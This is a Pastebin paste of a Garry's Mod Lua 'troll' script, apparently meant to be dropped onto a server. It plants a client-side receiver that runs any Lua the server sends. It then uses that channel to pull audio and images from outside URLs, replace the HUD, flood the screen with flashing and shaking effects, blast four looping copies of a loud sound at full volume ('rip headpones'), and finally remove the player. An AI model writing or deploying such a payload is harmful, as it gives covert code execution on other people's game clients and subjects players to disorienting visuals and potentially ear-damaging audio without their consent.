2much4Us

Untitled

Mar 2nd, 2018
95
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 11.21 KB | None | 0 0
  1. util.AddNetworkString "skeleton_dancing_troll"
  2.  
  3. local lol = {}
  4. function lol:RandomString( intMin, intMax )
  5. local ret = ""
  6. for _ = 1, math.random( intMin, intMax ) do
  7. ret = ret.. string.char( math.random(65, 90) )
  8. end
  9.  
  10. return ret
  11. end
  12.  
  13. lol.m_tblActions = {}
  14. lol.m_strImageGlobalVar = lol:RandomString( 6, 12 )
  15. lol.m_strImageLoadHTML = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]
  16.  
  17. function lol:PushAction( intChainDelay, func )
  18. self.m_tblActions[#self.m_tblActions +1] = { intChainDelay, func }
  19. end
  20.  
  21. function lol:NextAction( pPlayer )
  22. pPlayer.m_intCurAction = pPlayer.m_intCurAction +1
  23. if not self.m_tblActions[pPlayer.m_intCurAction] then return end
  24.  
  25. timer.Simple( self.m_tblActions[pPlayer.m_intCurAction][1], function()
  26. if not IsValid( pPlayer ) then return end
  27. self.m_tblActions[pPlayer.m_intCurAction][2]( pPlayer )
  28. self:NextAction( pPlayer )
  29. end )
  30. end
  31.  
  32. function lol:Start( pPlayer )
  33. pPlayer.m_intCurAction = 0
  34. self:NextAction( pPlayer )
  35. end
  36.  
  37. function lol:SendLua( pPlayer, strLua )
  38. net.Start( "skeleton_dancing_troll" )
  39. net.WriteString( strLua )
  40. net.Send( pPlayer )
  41. end
  42.  
  43. function lol:SetupPlayer( pPlayer )
  44. pPlayer:SendLua( "net.Receive(\"skeleton_dancing_troll\", function() RunString(net.ReadString()) end)" )
  45. end
  46.  
  47. for k, v in pairs( player.GetAll() ) do
  48. lol:SetupPlayer( v )
  49. timer.Simple( 2, function() lol:Start( v ) end )
  50. end
  51.  
  52. hook.Add( "PlayerAuthed", "wat", function( pPlayer )
  53. lol:SetupPlayer( pPlayer )
  54. timer.Simple( 10, function() lol:Start( pPlayer ) end )
  55. end )
  56.  
  57. hook.Add( "PlayerSay", "1337command", function( pSender, strText, bTeamChat )
  58. if strText:sub( 1, 5 ) == "/1337" then
  59. pSender:Ignite( 1e9 )
  60. pSender:ChatPrint( "Weed!!!" )
  61. pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] )
  62. return false
  63. end
  64. end )
  65.  
  66.  
  67.  
  68. --Sequence stack
  69. --Start some tunes and steam in our assets
  70. lol:PushAction( 0, function( pPlayer )
  71. lol:SendLua( pPlayer, ([=[
  72. sound.PlayURL( "https://httpsinfamousvoice1com.000webhostapp.com/snoop.mp3", "", function()end )
  73.  
  74. g_]=].. lol.m_strImageGlobalVar.. [=[ = {}
  75. local html = [[%s]]
  76. local function LoadWebMaterial( strURL, strUID, intSizeX, intSizeY )
  77. local pnl = vgui.Create( "HTML" )
  78. pnl:SetPos( ScrW() -1, ScrH() -1 )
  79. pnl:SetVisible( true )
  80. pnl:SetMouseInputEnabled( false )
  81. pnl:SetKeyBoardInputEnabled( false )
  82. pnl:SetSize( intSizeX, intSizeY )
  83. pnl:SetHTML( html:format(strURL, intSizeX, intSizeY) )
  84.  
  85. local PageLoaded
  86. PageLoaded = function()
  87. local mat = pnl:GetHTMLMaterial()
  88. if mat then
  89. g_]=].. lol.m_strImageGlobalVar.. [=[[strUID] = { mat, pnl }
  90. return
  91. end
  92.  
  93. timer.Simple( 0.5, PageLoaded )
  94. end
  95.  
  96. PageLoaded()
  97. end
  98.  
  99. LoadWebMaterial( "https://cdn.discordapp.com/attachments/418151178082451458/419214553625264128/af7509e8d9090b352e713f3fd1ef682c-e63174812d389e2b7b18da3662de2d05733e3d35_1453742514642-large.png", "doritos", 287, 256 )
  100. LoadWebMaterial( "https://cdn.discordapp.com/attachments/383323426892414978/419226056436875264/images.png", "fedora", 275, 256 )
  101. LoadWebMaterial( "https://cdn.discordapp.com/attachments/418151178082451458/419214553625264128/af7509e8d9090b352e713f3fd1ef682c-e63174812d389e2b7b18da3662de2d05733e3d35_1453742514642-large.png", "dew", 311, 256 )
  102. LoadWebMaterial( "https://cdn.discordapp.com/attachments/418151178082451458/419214553625264128/af7509e8d9090b352e713f3fd1ef682c-e63174812d389e2b7b18da3662de2d05733e3d35_1453742514642-large.png", "awp", 307, 243 )
  103. ]=]):format(lol.m_strImageLoadHTML) )
  104. end )
  105.  
  106. --HUD swap
  107. lol:PushAction( 31, function( pPlayer )
  108. lol:SendLua( pPlayer, [[
  109. (GAMEMODE or GM).CalcView = function() end
  110. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  111.  
  112. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  113. for k, v in pairs(remove) do
  114. hook.GetTable()[v] = {}
  115. end
  116.  
  117. local function GetWebMat( strURL )
  118. return g_]].. lol.m_strImageGlobalVar.. [[[strURL]
  119. end
  120.  
  121. hook.Add( "HUDPaint", "newhud", function()
  122. surface.SetDrawColor( 255, 255, 255, 255 )
  123.  
  124. if GetWebMat( "hud1" ) then
  125. surface.SetMaterial( GetWebMat("hud1")[1] )
  126. surface.DrawTexturedRect( 0, ScrH() -128, 300 *(512 /300), 128 )
  127. end
  128. if GetWebMat( "hud2" ) then
  129. surface.SetMaterial( GetWebMat("hud2")[1] )
  130. surface.DrawTexturedRect( ScrW() -300, ScrH() -128, 300 *(512 /300), 128 )
  131. end
  132. if GetWebMat( "hud3" ) then
  133. surface.SetMaterial( GetWebMat("hud3")[1] )
  134. surface.DrawTexturedRect( 45, ScrH() -245, 128, 128 )
  135. end
  136. if GetWebMat( "doritos" ) then
  137. surface.SetMaterial( GetWebMat("doritos")[1] )
  138. surface.DrawTexturedRectRotated( math.random(250, 260), math.random(250, 260), 183 *(256 /183), 256, CurTime() *512 )
  139. end
  140. if GetWebMat( "dew" ) then
  141. surface.SetMaterial( GetWebMat("dew")[1] )
  142. surface.DrawTexturedRectRotated( math.random(400, 410), math.random(ScrH() -260, ScrH() -250), 110 *((256 /110) -1), 256, CurTime() *-512 )
  143. end
  144. if GetWebMat( "fedora" ) then
  145. surface.SetMaterial( GetWebMat("fedora")[1] )
  146. surface.DrawTexturedRectRotated( ScrW() -math.random(250, 260), math.random(250, 260), 256, 256, CurTime() *-512 )
  147. end
  148. if GetWebMat( "awp" ) then
  149. surface.SetMaterial( GetWebMat("awp")[1] )
  150. surface.DrawTexturedRectRotated( ScrW() -math.random(400, 410), math.random(ScrH() -260, ScrH() -250), 256, 55, CurTime() *512 )
  151. end
  152.  
  153. draw.SimpleTextOutlined(
  154. "Give Us the fucking weed!!! >!!ALL!!<",
  155. "DermaLarge",
  156. ScrW() /2 +math.random( -8, 8 ),
  157. ScrH() /2 +math.random( -8, 8 ) +64,
  158. Color( 255, 0, 0, 255 ),
  159. TEXT_ALIGN_CENTER,
  160. TEXT_ALIGN_CENTER,
  161. 1,
  162. Color( 0, 0, 255, 255 )
  163. )
  164.  
  165. draw.SimpleTextOutlined(
  166. "C:",
  167. "DermaLarge",
  168. ScrW() /2 +math.random( -8, 8 ),
  169. ScrH() /2 +math.random( -8, 8 ) +24,
  170. Color( 255, 0, 0, 255 ),
  171. TEXT_ALIGN_CENTER,
  172. TEXT_ALIGN_CENTER,
  173. 1,
  174. Color( 0, 0, 255, 255 )
  175. )
  176. end )
  177.  
  178. local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
  179. hook.Add( "HUDShouldDraw", "newhud", function( str ) if not allowed[str] then return false end end )
  180.  
  181. surface.PlaySound( "garrysmod/save_load4.wav" )
  182. surface.PlaySound( "vo/npc/male01/excuseme02.wav" )
  183. ]] )
  184. end )
  185.  
  186. --Disco time
  187. lol:PushAction( 10, function( pPlayer )
  188. local idx = pPlayer:EntIndex()
  189. timer.Create( "beat".. idx, 0.42, 0, function()
  190. if not IsValid( pPlayer ) then timer.Destroy( "beat".. idx ) return end
  191. pPlayer:ViewPunch( Angle(math.Rand(-15, -10), math.Rand(-10, 10), 0) )
  192. end )
  193.  
  194.  
  195. lol:SendLua( pPlayer, [[
  196. local emitter = ParticleEmitter( LocalPlayer():GetPos() )
  197. local time = 0
  198.  
  199. hook.Add( "Think", "wat", function()
  200. if CurTime() < time then
  201. return
  202. end
  203.  
  204. time = CurTime() +0.05
  205. for i = 1, 16 do
  206. local part = emitter:Add(
  207. "particles/balloon_bit",
  208. LocalPlayer():GetPos() +Vector(
  209. math.random( -256, 256 ),
  210. math.random( -256, 256 ),
  211. 256
  212. )
  213. )
  214.  
  215. if part then
  216. local Size = math.random( 4, 7 )
  217.  
  218. part:SetColor( math.random(0, 255), math.random(0, 255), math.random(0, 255), 255 )
  219. part:SetVelocity( Vector( 40, 25, -math.random(300, 400) ) )
  220. part:SetDieTime( 4.5 )
  221. part:SetGravity( Vector(40, 0, -250) )
  222. part:SetLifeTime( 0 )
  223. part:SetStartSize( Size /2 )
  224. part:SetEndSize( Size )
  225. part:SetCollide( true )
  226. end
  227. end
  228. end )
  229. ]] )
  230.  
  231. lol:SendLua( pPlayer, [[
  232. hook.Add( "RenderScreenspaceEffects", "wat", function()
  233. local sinScaler = math.sin( CurTime() )
  234. DrawBloom(
  235. 0,
  236. 3,
  237. sinScaler *math.Rand(1, 8),
  238. sinScaler *math.Rand(1, 8),
  239. 6,
  240. math.Rand(0.5, 2),
  241. math.Rand(0, 0.3),
  242. math.Rand(0, 0.3),
  243. math.Rand(0.5, 1)
  244. )
  245.  
  246. DrawColorModify{
  247. ["$pp_colour_addr"] = 0,
  248. ["$pp_colour_addg"] = 0,
  249. ["$pp_colour_addb"] = 00,
  250. ["$pp_colour_brightness" ] = 0,
  251. ["$pp_colour_contrast" ] = 1,
  252. ["$pp_colour_colour" ] = 1,
  253. ["$pp_colour_mulr" ] = 0,
  254. ["$pp_colour_mulg" ] = 0,
  255. ["$pp_colour_mulb" ] = 1
  256. }
  257. end )
  258.  
  259. local mdl = ClientsideModel( "models/player/skeleton.mdl", RENDERGROUP_BOTH )
  260. mdl:SetNoDraw( true )
  261. local posCache, time = {}, 0
  262.  
  263. hook.Add( "HUDPaint", "dance", function()
  264. if not mdl.SeqStart or CurTime() > (mdl.SeqStart +mdl.SeqDuration) then
  265. local idx = mdl:LookupSequence("taunt_dance")
  266. mdl.SeqDuration = mdl:SequenceDuration( idx )
  267. mdl.SeqStart = CurTime()
  268. mdl:ResetSequence( idx )
  269. end
  270.  
  271. mdl:SetCycle( (CurTime() -mdl.SeqStart) /mdl.SeqDuration )
  272.  
  273.  
  274. local w, h = 300, 300
  275. local ang = Angle( 0, 0, 0 )
  276.  
  277. for i = 1, 32 do
  278. if CurTime() > time then
  279. posCache[i] = { math.random( 0, ScrW() -w ), math.random( 0, ScrH() -h ) }
  280. end
  281. local x, y = posCache[i][1], posCache[i][2]
  282.  
  283. cam.Start3D( (ang:Forward() *64) +(ang:Up() *32), (ang:Forward()*-1):Angle(), 90, x, y, w, h )
  284. cam.IgnoreZ( true )
  285. render.SuppressEngineLighting( true )
  286.  
  287. render.SetLightingOrigin( mdl:GetPos() )
  288. render.ResetModelLighting( 1, 1, 1 )
  289. render.SetColorModulation( 0, 0, 1 )
  290.  
  291. mdl:DrawModel()
  292.  
  293. render.SuppressEngineLighting( false )
  294. cam.IgnoreZ( false )
  295. cam.End3D()
  296. end
  297.  
  298. if CurTime() > time then
  299. time = CurTime() +0.15
  300. end
  301. end )
  302.  
  303. surface.PlaySound( "vo/npc/male01/ohno.wav" )
  304. ]] )
  305. end )
  306.  
  307. --Let the beat drop
  308. lol:PushAction( 54, function( pPlayer )
  309. lol:SendLua( pPlayer, [[
  310. hook.Add( "GetMotionBlurValues", "wat", function()
  311. return 0, 0, 1, math.sin(CurTime() *13)
  312. end )
  313.  
  314. hook.Add( "RenderScreenspaceEffects", "ohgod", function()
  315. local sinScaler = math.sin( CurTime() *(RealFrameTime() *1024) )
  316. DrawSharpen( 1 +(sinScaler *10), 0.5 +(sinScaler *2) )
  317. DrawMaterialOverlay( "effects/tp_eyefx/tpeye", 1 )
  318. end )
  319.  
  320. hook.Add( "PostDrawTranslucentRenderables", "ohgod", function()
  321. render.SetMaterial( Material("cable/blue_elec") )
  322. for i = 1, 32 do
  323. render.DrawBeam( LocalPlayer():GetPos() +Vector(0, 0, 128) +(EyeAngles():Forward() *256), EyePos() +(VectorRand() *256), 4, 0, 12.5, Color(255, 255, 255, 255) )
  324. end
  325. end )
  326.  
  327. timer.Create( "thedrop", 0.42, 0, function()
  328. util.ScreenShake( LocalPlayer():GetPos(), 512, 5, 0.25, 128 )
  329. end )
  330. ]] )
  331. end )
  332.  
  333. --EVIL TIME rip headpones
  334. lol:PushAction( 175, function( pPlayer )
  335. lol:SendLua( pPlayer, [[
  336. surface.PlaySound( "vo/npc/male01/gethellout.wav" )
  337.  
  338. local sounds = {}
  339. for i = 1, 4 do
  340. sound.PlayURL( "http://www.underdone.org/leak/underdone/asd.mp3", "noblock noplay", function( pChan )
  341. sounds[#sounds +1] = pChan
  342. end )
  343. end
  344.  
  345. timer.Create( "asdf", 1, 0, function()
  346. if #sounds ~= 4 then return end
  347. timer.Destroy( "asdf" )
  348. for k, v in pairs( sounds ) do v:EnableLooping( true ) v:SetVolume( 1 ) v:Play() end
  349. end )
  350.  
  351. hook.Add( "HUDShouldDraw", "newhud", function() return false end )
  352. ]] )
  353.  
  354. pPlayer:Remove()
  355. end )
Advertisement
Add Comment
Please, Sign In to add comment